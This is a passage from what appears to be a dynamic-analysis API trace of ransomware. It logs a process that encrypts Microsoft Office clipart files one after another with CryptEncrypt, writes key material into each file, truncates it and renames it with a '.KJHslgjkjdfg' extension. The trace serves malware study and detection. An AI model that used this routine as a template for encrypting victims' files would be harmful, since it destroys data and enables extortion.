[0194.772] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.772] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x39e4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x39e4, lpOverlapped=0x0) returned 1 [0194.773] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x39f0, dwBufLen=0x39f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x39f0) returned 1 [0194.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.773] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x39f0, lpOverlapped=0x0) returned 1 [0194.774] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.774] SetEndOfFile (hFile=0x130) returned 1 [0194.776] GetProcessHeap () returned 0x2ef0000 [0194.776] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.776] GetProcessHeap () returned 0x2ef0000 [0194.776] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.kjhslgjkjdfg")) returned 1 [0194.777] CloseHandle (hObject=0x130) returned 1 [0194.777] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0194.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.778] GetProcessHeap () returned 0x2ef0000 [0194.778] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.778] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.778] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.779] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.779] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.779] GetProcessHeap () returned 0x2ef0000 [0194.780] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.780] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.780] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.780] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.780] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.780] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.780] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.780] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe6c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe6c, lpOverlapped=0x0) returned 1 [0194.780] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe70, dwBufLen=0xe70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe70) returned 1 [0194.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.781] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe70, lpOverlapped=0x0) returned 1 [0194.781] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.781] SetEndOfFile (hFile=0x130) returned 1 [0194.783] GetProcessHeap () returned 0x2ef0000 [0194.783] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.783] GetProcessHeap () returned 0x2ef0000 [0194.783] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.kjhslgjkjdfg")) returned 1 [0194.783] CloseHandle (hObject=0x130) returned 1 [0194.783] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0194.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.784] GetProcessHeap () returned 0x2ef0000 [0194.785] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.785] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.785] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.785] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.785] GetProcessHeap () returned 0x2ef0000 [0194.785] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.785] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.785] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.785] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.787] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.787] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.787] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.787] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.787] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.787] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.787] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe30, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe30, lpOverlapped=0x0) returned 1 [0194.787] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe30, dwBufLen=0xe30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe30) returned 1 [0194.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.787] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe30, lpOverlapped=0x0) returned 1 [0194.787] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.787] SetEndOfFile (hFile=0x130) returned 1 [0194.789] GetProcessHeap () returned 0x2ef0000 [0194.790] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.790] GetProcessHeap () returned 0x2ef0000 [0194.790] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.790] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.kjhslgjkjdfg")) returned 1 [0194.791] CloseHandle (hObject=0x130) returned 1 [0194.791] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0194.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.792] GetProcessHeap () returned 0x2ef0000 [0194.792] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.792] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.792] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.792] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.792] GetProcessHeap () returned 0x2ef0000 [0194.792] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.792] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.792] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.792] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.794] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.794] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.794] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.795] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.795] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.795] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.795] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe20, lpOverlapped=0x0) returned 1 [0194.795] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe20, dwBufLen=0xe20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe20) returned 1 [0194.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.795] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe20, lpOverlapped=0x0) returned 1 [0194.795] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.795] SetEndOfFile (hFile=0x130) returned 1 [0194.797] GetProcessHeap () returned 0x2ef0000 [0194.798] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.798] GetProcessHeap () returned 0x2ef0000 [0194.798] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.798] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.kjhslgjkjdfg")) returned 1 [0194.799] CloseHandle (hObject=0x130) returned 1 [0194.799] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0194.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.799] GetProcessHeap () returned 0x2ef0000 [0194.799] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.799] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.800] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.802] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.802] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.802] GetProcessHeap () returned 0x2ef0000 [0194.802] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.802] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.802] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.802] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.802] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.802] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.802] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.803] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.803] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.803] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.803] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.803] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x85c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x85c, lpOverlapped=0x0) returned 1 [0194.803] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x860, dwBufLen=0x860 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x860) returned 1 [0194.803] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.803] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x860, lpOverlapped=0x0) returned 1 [0194.803] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.803] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.803] SetEndOfFile (hFile=0x130) returned 1 [0194.806] GetProcessHeap () returned 0x2ef0000 [0194.806] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, 